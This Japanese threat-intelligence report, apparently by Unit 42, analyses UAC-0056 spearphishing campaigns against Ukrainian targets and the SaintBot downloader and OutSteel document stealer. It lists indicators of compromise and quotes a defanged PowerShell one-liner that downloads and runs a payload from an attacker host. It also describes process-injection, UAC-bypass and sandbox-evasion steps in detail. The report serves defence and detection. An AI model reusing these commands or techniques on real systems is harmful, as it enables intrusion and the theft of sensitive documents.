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概要
2022年2月1日、Unit 42はウクライナのあるエネルギー関連組織を標的とした攻撃を観測しました。CERT-UAは、この攻撃がUAC-0056として追跡されている脅威グループによるものであると公式にアトリビュート(帰属化)しています。この標的型攻撃は、同エネルギー関連組織の従業員に送られたスピアフィッシングメールで、当該従業員が犯罪を犯したことを示唆するソーシャルエンジニアリングをテーマにしたものでした。このメールには、SaintBot(ダウンローダ)およびOutSteel(ドキュメントスティーラ)として知られるペイロードをダウンロード・インストールする悪質なJavaScriptファイルを含むWord文書が添付されていました。Unit 42は、この攻撃が、遅くとも2021年3月の時点には遡る大規模なキャンペーンの一例に過ぎないことを確認しており、このときの同脅威グループはウクライナ内の西側政府機関や複数のウクライナ政府組織を標的にしていたことを確認しています。
OutSteelツールはシンプルなドキュメントスティーラ(文書窃取ツール)です。ファイルの種類をもとに機密性の高そうな文書を検索し、リモートサーバーにファイルをアップロードします。OutSteelの使用は、同脅威攻撃グループの主な目的が、政府組織や重要インフラ関連企業のデータ収集にあることを示唆している可能性があります。SaintBotツールはダウンローダで、これを使って脅威アクターが感染システム上で追加のツールをダウンロード・実行できるようにします。これによりアクターはシステムへの持続的アクセスを確保しつつ、できることの幅を広げます。
OutSteelペイロード、SaintBotペイロードは数々の攻撃で共通して利用されていますが、システムの侵害にはさまざまなソーシャルエンジニアリングテーマや感染チェーンが利用されています。アクターは、時事問題など適切なテーマを使って受信者にうっかり文書を開かせたり、リンクをクリックさせたり、悪意のあるコンテンツを有効にさせたり、実行ファイルを直接実行させたりすることで、受信者のシステムを侵害していました。2021年3月と4月の初期の攻撃では暗号通貨と新型コロナウイルス感染症(COVID)がテーマに使用され、2021年5月から7月、さらに2022年2月の攻撃では、法執行機関関連のテーマと偽の履歴書が使用された様子を観測しています。数カ月つづいた攻撃で法執行機関関連テーマが使用されていることから、当該脅威グループはトレンドになっているトピックや時事問題がなければ法執行機関関連のソーシャルエンジニアリングテーマを好んで使用していることがわかります。
この脅威グループが行うすべての攻撃でメールが攻撃ベクトルとして使用される点は変わっていません。スピアフィッシングメールは共通要素ですが、それぞれの攻撃はシステムの侵害に若干異なる感染チェーンを用います。たとえば、スピアフィッシングメール内に悪意のあるショートカット(LNK)を含むZipアーカイブへのリンクが含まれることや、PDF文書、Word文書、JavaScriptファイル、コントロールパネルファイル(CPL)の実行ファイルの形で添付ファイルが含まれることがあります。メールに添付されるWord文書をとってみても、悪意のあるマクロ、埋め込みJavaScript、CVE-2017-11882のエクスプロイトなど、さまざまな手法でペイロードをシステムにインストールすることが確認されています。CPL実行ファイルを除き、ほとんどの配布メカニズムではPowerShellスクリプトに依存しており、PowerShellスクリプトがリモートサーバーからコードをダウンロード・実行します。
既知の攻撃の概要や想定される脅威に対する防御方法の推奨など、ロシア・ウクライナ危機に関するより包括的な情報については、弊社のブログ「ロシア・ウクライナ危機にともなうサイバー攻撃の影響へ備えを」を参照してください。
パロアルトネットワークスのお客様は、Cortex XDR、次世代ファイアウォールのWildFire、Advanced URL Filtering、DNS Securityなどの製品およびサービスを通じて、上記の攻撃から保護されています。
Unit 42の関連トピック | Russia-Ukraine Crisis Cyber Impact, Phishing |
目次
攻撃の概要
過去の攻撃との関連
2月2日の攻撃のペイロード解析
初期のローダ
攻撃に関連する追加ファイル
結論
追加リソース
IoC
付録A: UAC-0056と関連する過去の攻撃
2021年3月の攻撃
2021年4月の攻撃
2021年5月の攻撃
2021年6月の攻撃
2021年7月の標的
攻撃の概要
2022年2月1日、Unit 42は、脅威アクターが、あるウクライナのエネルギー関連組織の個人に標的型メールを送信していたことを確認しました。そのメールは次のようなアトリビュート(属性)をもつものでした。
送信者: mariaparsons10811@gmail[.]com
件名: Повідомлення про вчинення злочину (<個人名省略>)
添付ファイル: Повідомлення про вчинення злочину (<個人名省略>).docx
メールの件名と添付書類のファイル名をウクライナ語から翻訳すると「犯罪遂行に関する報告書(<個人名省略>)」となります。このメールは、当該個人が犯罪行為に関与していることを示唆するもので、標的とされた個人に添付ファイルを開かせるためのアクターによるソーシャルエンジニアリング活動の一環と考えられます。悪意のあるWord文書には、次のような内容が表示されます。
添付文書の内容も配信されたメールのテーマに沿うもので、ウクライナ国家警察の犯罪捜査報告書が一部伏せ字にされているように見えます。この文書は受信者が感嘆符のついたアイコンをクリックすれば、黒い線で塗りつぶされたテキスト内容が表示されるとしています。伏せ字になっているとされる各コンテンツの部位にはアイコンがあり、これらをダブルクリックすると文書内に埋め込まれた悪意のあるJavaScript(SHA256: b258a747202b1e80421f8c841c57438fb0670299f067dfeb2c53ab50ff6d)が実行されます。受信者がこのアイコンをダブルクリックすると、Wordは以下のファイルをシステムに書き込み、Windows Script Host(wscript)で実行します。
C:\Users\ADMINI~1\AppData\Local\Temp\GSU207@POLICE.GOV.UA - Повідомлення (15).js
このJavaScriptファイルは次のプロセスを実行し、実行されたプロセスはPowerShellスクリプトを実行します。
上記のPowerShellワンライナーは、以下のURLから実行ファイルをダウンロードし、%PUBLIC%\GoogleChromeUpdate.exe として保存してから実行します。
hxxps://cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe
CERT-UAによると、このPowerShellのワンライナーは、数日前の1月31日に発生した、同グループに帰属される別の攻撃にも登場したようです。
このスピアフィッシング攻撃試行がもたらしたペイロードの分析(SaintBotダウンローダとOutSteelドキュメントスティーラが含まれていた)にもとづくと、同攻撃における脅威グループの目標は当該エネルギー組織からのデータ漏出に関連するものであったと推測されます。
過去の攻撃との関連
CERT-UAはこのアクティビティをUAC-0056という名前で追跡していると述べています。他の組織ではTA471、SaintBear、Lorec53の名前でこのグループを追跡しています。私たちの調査では、これらの攻撃が、ウクライナ内・ジョージア内の他の組織や、ウクライナ内の他国資産に的をしぼった過去の攻撃キャンペーンと数々の重複が見られることが分かっています。これらの重複には、SaintBotダウンローダや共有インフラなどの共通要素が含まれます。図3は、この脅威グループに関連する既知の攻撃を時系列で示したものです。具体的にはスピアフィッシングメールの送信日と各メールの件名を記載しています。
タイムラインを見ると、2021年4月から7月にかけて、複数の攻撃が行われていることがわかります。2021年の攻撃と2022年に観測された攻撃との間には、数ヶ月間の空きがあります。この空きは活動の休止ではなく単に見えていないだけと思われます。タイムライン上、一見休止しているように見える期間も追加の攻撃が行われたことを示唆する配布文書やペイロードが認識されているので、当該脅威グループはこの期間も活動を休止していなかったものと私たちは考えています。
UAC-0056 と関連している以前の既知の攻撃の詳細については、付録 Aを参照してください。付録で説明した攻撃には以下が含まれます。
- 2021年3月: Bitcoinと新型コロナウイルス感染症(COVID)をテーマとするジョージア国内の標的に対する攻撃キャンペーン
- 2021年4月: ウクライナ政府機関を標的とするBitcoinをテーマにしたスピアフィッシングメール
- 2021年5月: ウクライナ政府組織を標的とする法執行機関をテーマにした攻撃
- 2021年6月: ウクライナ政府組織に対する法執行機関をテーマにした攻撃
- 2021年7月: ウクライナの西側政府機関に対するスピアフィッシング試行
2月2日の攻撃のペイロード解析
上記図2に示したとおり、このアクターはDiscordのコンテンツ配信ネットワーク(CDN)を利用してペイロードをホストしていますが、これは同脅威攻撃グループが数多くの攻撃で使っている手口です。Discordのサーバーはゲームやコミュニティグループなどの合法用途でも人気があることから、多くのURLフィルタリングシステムでこのドメインへの信頼度が高く、Discordの利用は脅威アクターにとって有益です。Discordは利用規約でCDNの不正利用を禁止しており、同社は自社プラットフォームの悪用の発見・ブロックに努めています。
この攻撃では、この Discord の URL がローダである悪意のある実行ファイル (SHA256:f58c41d83c0f1c1e8c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff) をホスティングしています。このローダは、感染チェーン全体の複数のステージのうち最初のステージとして機能するもので、それぞれのステージがさまざまなレベルの複雑性を持っています。最終的にこの感染チェーンは、OutSteelと呼ばれるドキュメントスティーラ、SaintBotと呼ばれるトロイの木馬のローダ、Windows Defenderを無効にする実行ファイル化したバッチスクリプト、正規のGoogle Chromeインストール実行ファイルをそれぞれインストール・実行します。
初期のローダ
配布文書のJavaScriptで最初にダウンロードされる実行ファイルはトロイの木馬型の初期ローダで、作成者はOrganization(組織)のフィールドに「Electrum Technologies GmbH」を設定した証明書(SHA1: 60aac9d079a28bd9ee0372e39f23a6a92e9236bd)でこのローダに署名をしています。これは以下に示すとおり、Electrum Bitcoinウォレット(Bitcoin専用の仮想通貨ウォレット)と関連しています。
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
3b:11:e7:6e:da:51:82:ce:c2:d4:e7:2d:8c:05:f6:9a
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=thawte, Inc., CN=thawte SHA256 Code Signing CA - G2
Validity
Not Before: May 8 00:00:00 2020 GMT
Not After : May 8 23:59:59 2022 GMT
Subject: C=DE, ST=Berlin, L=Berlin, O=Electrum Technologies GmbH, CN=Electrum Technologies GmbH
この第1ステージのローダはその後につづく複数のステージ用の単純なラッパーで、これらの後半のステージは単にリソースからDLLを復号し、メモリにロードし、エントリポイントを呼び出しています。
初期ローダのパック・難読化に使用されるパッカーを使えば、パッカー利用者は他の.NETバイナリやコピーした証明書から .NETアセンブリのクローンを作成することができます。ペイロードの大部分が正規ライブラリから取得されていることや、添付されているのがElectrumの証明書であることについてはこれで説明がつきます。
SHCore2.dllという名前の復号されたDLLも難読化されていますが、興味深いことに、この難読化ツールはクラス名を完全には削除していません(図5参照)。このおかげでサンプルの機能に関する情報をすばやく収集することができました。このDLLは最終ペイロードであるように見えるかもしれませんが、実はこれも単なるステージャでしかなく、合計で4つの埋め込みバイナリを復号して実行します。
ステージャには興味深い解析防止機能があり、仮想マシン内や、場合によってはベアメタルシステムでの実行も拒否します。そのため動的解析は困難なのですが、当該サンプルは仮想マシンのチェックを行う前に、Class5_Decrypterクラス内の関数を呼び出しており、これが埋め込まれたペイロードの復号を担っています。これを利用してサンプルをデバッグして復号した後でそれらのペイロードを抽出できます。
ステージャが復号・実行する埋め込みバイナリは、OutSteel、SaintBot、Windows Defenderの無効化を行うバッチスクリプトを実行する実行ファイル、Google Chromeのインストーラの4つです(表1参照)。
SHA256 | 説明 |
7e3c54abfbb2abf2025ccf05674dd10240678e5ada465bb0c04a9109fe46e7ec | OutSteel AutoIT ファイルアップローダ |
0da1f48eaa7956dda58fa10af106af440adb9e684228715d313bb0d66d7cc21d | Windows Defenderを無効化するバッチファイルをドロップするPureBasic実行ファイル |
0f9f31bbc69c8174b492cf177c2fbaf627fcdb5ac4473ca5589aa2be75cee735 | 正規Google Chromeインストーラ |
82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e | SaintBot .NET ローダ |
表1 ローダ内に埋め込まれたバイナリ
攻撃に関連する追加ファイル
以下は、最初のローダが実行された後に登場する4つの追加ファイルをさらに詳細に分析したものです。
OutSteel
OutSteelはスクリプト言語AutoITで開発されたファイルアップローダ兼ドキュメントスティーラです。OutSteelは表1に示した他のバイナリとともに実行されます。まずローカルディスクをスキャンして特定の拡張子を持つファイルを探し、それらのファイルをハードコードされたコマンド&コントロール(C2)サーバーにアップロードします。このサンプルでは、接続先C2サーバーは185[.]244[.]41[.]109:8080で、エンドポイントは/upld/となっています。
スキャンは以下のようにCMDコマンドで行います。
cmd.exe /U /C DIR "\Users\Admin\*.docx" /S /B/ A
OutSteelが上記のコマンドを使用して収集するファイル拡張子のリストを表2に示します。これらの拡張子が選択されている理由は、潜在的に機密性の高いファイルを収集しようとしてのことと思われます。これらのファイルタイプには、Microsoft Officeスイートアプリケーション用の文書、Microsoft Accessデータベースファイル、Microsoft Outlookデータファイルのほか、さまざまなアーカイブファイルなどが含まれます。
*.doc | *.ppt | *.xls | *.rtf | *.accdb | *.pst | *.zip | *.txt |
*.docx | .pptx | *.xlsx | *.dot | *.pot | *.ppa | *.tar | |
*.dot | *.csv | *.mdb | *.pps | *.rar | *.7z |
表2 OutSteelが収集するファイルの拡張子
AutoITペイロードはこのコマンドからの出力を読み込んで各ファイルをHTTP.au3ライブラリを使ってC2にアップロードします。
スクリプトがすべての関連ファイルをC2にアップロードし終わると、次にハードコードされたセカンダリC2のeumr[.]siteから%TEMP%\svjhost.exeにファイルをダウンロードしようとします。ダウンロードされるペイロードは、これもまたSHCore2 DLLから抽出されたSaintBotの.NET ローダのサンプルで、ダウンロードに成功するとコマンドラインから実行されます。
このスクリプトは、自分自身と元のペイロードを削除するrmm.batという名前の.batファイルを現在のディレクトリに作成し、実行中のすべてのcmd.exeプロセスを終了させてから終了します。
この時点でAutoITスクリプトは終了し、SaintBotがメモリ内に残ります。
windows_defender_disable.bat
このバッチファイルはWindows Defenderの機能を無効にするのに使われます。レジストリキーを変更する複数のコマンドをCMD経由で実行し、Windows Defenderのスケジュールタスクを無効にすることでこれを実現しています。このスクリプトはオープンソースでGitHubに公開されているため、この特定のサンプルにはカスタムされている要素はありません。この無効化処理はドロップされたペイロードがWindows Defenderに検出されるリスクを下げるために行われています。
SaintBot .NET ローダ
SaintBot .NETローダも複数のステージで構成されており、難読化のレベルもさまざまです。PowerShellのワンライナーを1つ実行するところから始まり、ここからtimeout 20を渡してcmd.exeを実行するようになっています。タイムアウトが終わるとローダが再開されます。
ローダの最初のレイヤで逆順にした.NETバイナリをリソースから抽出後、元に戻してメモリにロード・実行します。
この第2レイヤは第1レイヤよりもはるかに多くの難読化を含んでおり、約140種類の異なるクラスを使って難読化の難読化を行っています。またこれらのクラスには、ロードされたモジュールのリストにSbiedll.dllが存在するかどうかのチェック、マシン名のHAL9THとの比較、ユーザー名のJohnDoeとの比較、BIOSバージョンが既知の仮想マシン識別子のものかどうかのチェックなど、仮想マシンとサンドボックスに関するチェックも複数含まれています。
これらのチェックを回避する最も手っ取り早い方法は、Invoke()関数にブレークポイントを設定し、メモリ内の値を変更することで、決してサンプルに一致を検出させないようにすることです。
すべてのチェックに合格すると、ローダの第2ステージとして、SaintBotのバイナリをリソースから抽出・復号します。そこからVirtualAllocEx、WriteProcessMemory、CreateProcessA、SetThreadContextなど、さまざまなAPI呼び出しの読み込みを開始します。これらの呼び出しを使ってMSBuild.exeをサスペンド状態で起動し、そこに復号されたSaintBotバイナリをインジェクトし、悪意のあるエントリポイントを指すようにスレッドのコンテキストを変更し、プロセスを再開します。
SaintBotペイロード
SaintBotは最近発見されたマルウェアローダで、2021年4月にMalwareBytesが文書化しています。これには脅威アクターの要求に応じて追加のペイロードをダウンロードする機能があり、プロセスを生成してインジェクトする、ローカルメモリへのロードするなど、複数の異なる手法でペイロードを実行できます。また必要に応じてディスク上の自分自身を更新し、その痕跡を消すこともできます。
SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
MSBuildプロセス内で実行されると、SaintBotは複数の解析対策用のチェックとロケールのチェックを行います。これらのチェックのいずれかが失敗すると、del.batというバッチスクリプトが%APPDATA%フォルダにドロップされて実行され、SaintBotペイロードにつながるファイルがシステムから削除されます。
チェックに合格すると、ペイロードは%LOCALAPPDATA%\zz%USERNAME%というパスからslideshow.mp4を見つけようとします。このslideshow.mp4は実際にはntdll.dllのコピーです。ファイルが見つからない場合、SaintBotはこのファイルがまだシステムにインストールされていないと判断し、インストール処理にジャンプします。このさい、%LOCALAPPDATA%フォルダ内にzz%USERNAME%という名前を設定したディレクトリが作成されます。次に、ローカルにあるntdll.dllのバイナリを新しく作成したフォルダにコピーし、slideshow.mp4という名前に変更します。くわえて%USERNAME%.vbs、%USERNAME%.batという名前の.vbsと.batスクリプトがドロップされます。インストールルーチンが完了するとペイロードはもう一度自身を実行して終了します。
初期のチェックでslideshow.mp4が見つかった場合、それがntdll.dllの提供する主要なAPIのロードに使用されます。この処理は、EDRやアンチウイルスソフトウェアが元のntdll.dll内のAPI呼び出しにフックを設定している場合、そのフックを避けるために行われています。
この時点で、ペイロードは次に自身がdfrgui.exeというプロセス名で実行されているかどうかを確認します。その名前で実行されていなければ、%SYSTEM%ディレクトリからdfrgui.exeを生成します。生成されたプロセスは、NtQueueApcThreadを使用してdfrgui.exeにインジェクトされてプロセスを再開し、元のMSBuildプロセスは終了します。
SaintBotはdfrgui.exe内で実行されているとき、自身が管理者権限で動作しているかどうかを確認します。管理者権限で動作していない場合はfodhelper.exeを使ってUACをバイパスしようとします。
その後、レジストリキーCurrentVersion\Runで永続化の設定が行われ、ようやくC2サーバとの通信が開始されます。このサンプルには、合計3つのC2サーバーが組み込まれており、すべて同じ/wp-adm/gate.phpエンドポイントに接続しにいきます。
この特定サンプルは、C2サーバーから合計6つのコマンドを受け付けます。
コマンド | 目的 |
de
de:regsvr32 |
cmd.exe経由でEXEやDLLを(regsvr32を使って)実行する |
de:LoadMemory | dfrgui.exeのコピーを生成しダウンロードした実行ファイルをプロセスにインジェクトする |
de:LL | DLLをダウンロードしLdrLoadDll()でメモリにロードする |
update | SaintBotのバイナリを更新する |
uninstall | コンピュータからSaintBotをアンインストールする |
表3 SaintBotのコマンド
結論
Unit 42の調査により、ある脅威グループがウクライナの重要インフラの一部であるエネルギー関連組織を標的としていることが確認されました。今回の攻撃は、ウクライナの政府機関だけでなく、ウクライナ内の外国大使館を標的とした1年にわたる攻撃オペレーションの一環です。この脅威グループは、文書、アーカイブ、データベースファイル、電子メール関連データを含むファイルなど、さまざまな種類のファイルを自動的に流出させることができるOutSteelという悪意のあるペイロードを配布していました。標的にされた組織の一覧とファイル漏出用ツールの使用から、この脅威グループの主な目標は状況認識とウクライナ対応に活用する目的で機密情報を窃取することあると考えられます。
パロアルトネットワークス製品をご利用のお客様は、弊社の製品・サービスにより本攻撃キャンペーンに関連する以下の対策が提供されています。
Cortex XDRは、本稿で紹介したSaintBotマルウェアからエンドポイントを保護します。
クラウドベースの脅威分析サービスであるWildFireは、本稿で取り上げたマルウェアを悪意のあるものとして正確に特定します。
Advanced URL FilteringとDNSセキュリティは、同攻撃キャンペーンに関連するドメインを悪意あるものとして識別します。
コンテキストに基づく脅威インテリジェンスサービスAutoFocusをご利用中のお客様は、SaintBot、SaintBot_Loader、OutSteelの各タグを使ってこれらの攻撃に関連するマルウェアを表示できます。
パロアルトネットワークスはファイルサンプルや侵害の兆候などをふくむこれらの調査結果をCyber Threat Alliance (CTA サイバー脅威アライアンス) のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。詳細については Cyber Threat Alliance からご覧ください。
追加リソース
A deep dive into SaintBot, a new downloader
Targeted Phishing Attack Against Ukrainian Government Expands to Georgia
Spearphising Attack Uses COVID 21 Lure to Target Ukrainian Government
CERT-UA Post from July 13, 2021
CERT-UA Post from Feb. 2, 2022
ロシア・ウクライナ危機にともなうサイバー攻撃の影響へ備えを
Russia-Ukraine Crisis Briefings: How to Protect Against the Cyber Impact(ロシア・ウクライナ危機のブリーフィング: あるべきサイバーインパクトからの保護とは)
パロアルトネットワークスリソースページ: ロシア・ウクライナ危機によるサイバーインパクトからの保護
IoC
配布物のハッシュ
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0be1801a6c5ca473e2563b6b77e76167d88828e1347db4215b7a83e161dae67f
0db336cab2ca69d630d6b7676e5eab86252673b1197b34cf4e3351807229f12a
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stun[.]site/42348728347829.exe
update-0019992[.]ru/testcp1/gate.php
update0019992[.]ru/exe/update-22.exe
update0019992[.]ru/gate.php
update3d[.]xyz/
webleads[.]pro/public/readerdc_ua_install.exe
www.baiden00[.]ru/win21st.txt
www.update0019992[.]ru/exe/update-22.exe
cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe
cutt[.]ly/1bR6rsQ
mohge[.]xyz/install.exe
mohge[.]xyz/install.txt
stun[.]site/zepok101.exe
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ドメイン
000000027[.]xyz
001000100[.]xyz=
1000018[.]xyz
1000020[.]xyz
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1221[.]site
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68468438438[.]xyz
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8003659902[.]space
9348243249382479234343284324023432748892349702394023[.]xyz
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coronavirus5g[.]site
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stun[.]site
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update0019992[.]ru
update3d[.]xyz
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www.update0019992[.]ru
IPv4アドレス
185.244.41[.]109
194.147.142[.]232
31.42.185[.]63
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16868138130[.]space
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32689657[.]xyz
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33655990[.]cyou
4895458025-4545445-222435-9635794543-3242314342-234123423728[.]space
9832473219412342343423243242364-34939246823743287468793247237[.]site
99996665550[.]fun
almamaterbook[.]ru
buking[.]site
getvps[.]site
giraffe-tour[.]ru
gosloto[.]site
name4050[.]com
noch[.]website
otrs[.]website
polk[.]website
sinoptik[.]site
sony-vaio[.]ru
付録A: UAC-0056と関連する過去の攻撃
UAC-0056と関連する過去の攻撃について、攻撃時期ごとに整理して以下に説明します。既知の攻撃の概要は先の「過去の攻撃との関連」セクションのタイムラインを確認してください。
2021年3月の攻撃
MalwareBytesの調査によると、この脅威グループは2021年3月、Bitcoinと新型コロナウイルス感染症(COVID)をテーマにしてジョージアの標的に対する攻撃キャンペーンを実施しました。リサーチャーはこれらの攻撃にスピアフィッシングが使用されたと述べていますが、標的組織、攻撃ベクトル、攻撃の正確な日時を確認するためのテレメトリデータを私たちはもっていません。Bitcoinをテーマにした今回の攻撃は、図21に示すようにPDFの配布文書がElectrum Bitcoinウォレットへ言及しているなど類似するコンテンツを含んでおり、4月後半の攻撃で見られたものと非常によく似ています。
新型コロナウイルス感染症をテーマとした攻撃にはジョージア政府組織への言及が含まれていることから、この脅威グループはウクライナにくわえてこの地域にある他の国にも関心を持っていることが示唆されます。この攻撃ではbgicovid19[.]com/assets/img/newCOVID-21.zipにホストされていたZipアーカイブが利用されており、これには悪意のあるファイルが2つ、おとりの文書が1つ含まれています(表4参照)。
ファイル名 | SHA256 | 説明 |
!!!COVID-21.doc | 4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70 | CVE-2017-11882を悪用しwww.baiden00[.]ru/win21st.txtをダウンロードする配布文書 |
New Folder.lnk | 5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b | baiden00[.]ru/wininst.exeをダウンロードするLNKショートカット |
letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf | 49a758bfe34f1769a27b1a2da9f914bc956f7fdbb9e7a33534ca9e19d5f6168c | おとり文書 |
表4 3月の攻撃で使われた配布文書
letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf文書は悪意のあるコンテンツを含んでいないのでおとり文書です。図22に示すように、おとりのコンテンツにはジョージア労働保健社会省の文書が表示されることから、ジョージアにある組織が標的となっていた可能性が示唆されます。
2021年4月の攻撃
2021年4月、この脅威グループは、「Bitcoinを受け取れば受信者は金持ちになれる」とするPDF文書を添付したスピアフィッシングメールによる攻撃を実施しました(図23参照)。Ahnlabの調査で最初に明らかになったこれらBitcoinをテーマにした攻撃は、とくにウクライナの政府組織を標的にしていました。
配布メールに添付されたPDF文書には、大金入りBitcoinウォレットにアクセスできることを示唆する文章と、そのウォレットをダウンロードするためのリンクが記載されています(図24参照)。このリンクcutt[.]ly/McXG1ftは短縮されており、ZipアーカイブをダウンロードするURL http://1924[.]site/doc/bitcoin.zipに向けられています。
Zip アーカイブには LNK ショートカットが含まれています。このLINKショートカットがpowershell スクリプトを実行し、hxxp://1924[.]site/soft/09042021.exeからペイロードをダウンロード・実行します。またこのアーカイブには、2022年2月1日のウクライナに対する攻撃へ再度リンクするElectrum Bitcoinウォレットを含む以下の内容のpassword.txtファイルが含まれています。
Wallet in folder.
Electrum: https://electrum.org
Password for walletr is: btc1000000000usd
Fortinetの調査によると、2021年4月、この脅威グループは、ウクライナの政府組織に対し、新型コロナウイルス感染症をテーマにした攻撃も行っています。図25のメールには、政府関係者と世界保健機関(WHO)とのやり取りを装った偽の転送メッセージが含まれています。このメールには、正規のwho.intドメインでホストされているZipアーカイブへのリンクが含まれています。ただしこのリンクは実際にはhxxps://cutt[.]ly/LcHx2Gaという短縮リンクに向けられています。
hxxps://cutt[.]ly/LcHx2GaというURLはhxxp://2330[.]site/NewCovid-21.zipを指しており、あるZip アーカイブ (SHA256:677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc)がホストされています。このZipアーカイブは以下のファイルを含んでいます。
COVID-21.doc(SHA256:9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a)
COVID-21.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d)
GEO-CFUND-2009_CCM Agreement_Facesheet - signed.pdf (SHA256: bbab12dc486b1c6fcf9e343ec1474d0f8967de988444d7f838f1b4dcab343e8a)
New Folder.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d)
これらのLNKショートカットはあるPowerShellスクリプトを実行しようとします。このPowerShellが、以下のURLから実行ファイルをダウンロードし、%TEMP%\WindowsUpdate.exe に保存して実行します。
hxxp://2330[.]site/soft/08042021.exe
このLNKショートカットはStart-BitsTransferコマンドレットを使って上記URLから実行ファイルをダウンロードします。この手法は、後述の2021年7月の攻撃で同脅威グループがマクロに埋め込んだペイロードのダウンロードに使った手法と同じものです。
2021年5月の攻撃
2021年5月、私たちはこの脅威グループがウクライナの2つの政府機関に標的型メールを送信したことを確認しました。2通のメールの件名は「Заява №4872823 」と「Заява №487223/2」で、いずれのメッセージもその個人に上席研究員が連絡しようとしていることを装う同一の内容でした(図26参照)。2021年5月と6月、そして2022年2月にかけて法執行機関関連のテーマが使用されていることから、脅威グループは、トレンドになっているトピックや時事問題がなければこのソーシャルエンジニアリングテーマを好んで使用していることがわかります。
どちらの配布メールにも同じ添付ファイルがついていました。具体的には「Заява №4872823-(20).cpl」(SHA256: f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8) というWindowsコントロールパネルファイルで、このファイルは初期ダウンローダとして機能し、そこから以下のペイロードがダウンロードされ、実行されるようになっています。
32689657[.]xyz/putty5482.exe
このコントロールパネルファイルはダウンロードした実行ファイルを%PUBLIC%\puttys.exe として保存し、WinExec機能を使って実行します。結果の実行ファイル(SHA256: df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3)は最終的にOutSteelドキュメントスティーラを実行し、次のURLにファイルを漏出します。
hxxp://194[.]147.142.232/upld/
2021年6月の攻撃
2021年6月、この脅威グループは、別のウクライナ政府組織を標的として、ウクライナ語で「あなたの逮捕状」という件名のスピアフィッシングメールを送信していることが確認されました。図27に示すこのメールの内容は、『添付された報告書を読まなければ受信者は指名手配される』と緊迫した言葉づかいで匂わせるものです。この法執行機関関連のテーマは、2022年2月1日に発生したソーシャルエンジニアリングの一環として、警察の報告書を思わせるコンテンツを使用した攻撃と関連しています。
ただし添付ファイルはメール本文で匂わせたような報告書ではありません。添付された「 Заява №487223-31.doc (880m5) .js 」ファイルは、サイズが1,029,786バイトの JavaScript ファイルです(このアクターは JavaScript コードの各文字間に多数スペースを追加しています)。受信者が添付ファイルを開くと以下のJavaScriptが実行されます。
上記のJavaScriptはエンコードされたPowerShellスクリプトを実行します。これを復号すると以下の内容になります。
invOKe-WeBREqUEST -urI hxxp://150520212[.]space/000.cpl -oUtFILE $ENv:PuBLiC\000.cpl; & $eNV:PUBlIc\000.cpl
このPowerShellスクリプトは、150520212[.]spaceからコントロールパネルファイル(CPL)をダウンロードして実行し、それを000.cpl(SHA256: b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939)というファイル名で保存します。000.cplはDLLで、そのファンクションコードはエクスポートされた関数CPlApplet内に存在します。このファンクションコードは、コードを解析されにくいよう、いくつか連続するジャンプを使っています。こうしたジャンプこそあるものの、ファンクションコードは復号スタブから始まり、0x29050D91から始まるキーを使って暗号文の各QWORDをXORします。ただし、復号ループの各イテレーションでこのキーは自身に0x749507B5を乗算して0x29050D91を加算することで変更されます。
復号スタブが終了すると復号されたコードにジャンプします。これはシェルコードベースのダウンローダで、以下のアクティビティを実行します。
1. LoadLibraryWを使ってkernel32をロードする
2. GetProcAddressでExpandEnvironmentStringsW のアドレスを取得する
3. ExpandEnvironmentStringsAを呼び出してパス%PUBLIC%5653YQ5T3.exeの環境文字列を展開する
4. CreateFileWを使って%PUBLIC%\5653YQ5T3.exeファイルを開く
5. LoadLibraryAを使ってWinHttpをロードする
6. WinHttpOpenを呼び出してHTTPセッションを開く
7. WinHttpConnectを呼び出しポート80/tcpでリモートサーバー150520212[.]spaceに接続する
8. WinHttpOpenRequestを使って/0404.exeに対する HTTP GET リクエストを作成する
9. WinHttpSendRequest経由でリクエストを送信する
10. WinHttpReceiveResponse、WinHttpQueryDataAvailable、WinHttpReadDataを呼び出してHTTPレスポンスデータを取得する
11. WriteFileを呼び出して%PUBLIC%\5653YQ5T3.exe に応答データを書き込む
12. CloseHandleを呼び出して%PUBLIC%\5653YQ5T3.exe へのハンドルをクローズする
13. ShellExecuteWを呼び出して%PUBLIC%\5653YQ5T3.exeを実行する
14. ExitProcessを呼び出して終了する
150520212[.]space/0404.exe (SHA256: cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1) でホストされているファイルは http://45[.]146.164.37/upld/ へのファイルの収集・漏出を行うOutSteelサンプルです。
2021年7月の標的
2021年7月22日、私たちは、脅威グループによるスピアフィッシングの試みが在ウクライナ欧米政府機関を標的として行われたことを確認しました。このアクターは、大使館のウェブサイトに公示されているアドレスにRE: CVという件名でメールを送信しました。このメールにはWord文書が添付されており、そのファイル名は<first name>_<last name>_CV.docという構成になっていました。<first name> と <last name> に入る名前はウクライナのある著名ジャーナリストのものでした。図29は、ウクライナ語版Windowsのインストール環境ならばこのように表示されるであろうという添付文書の内容です。
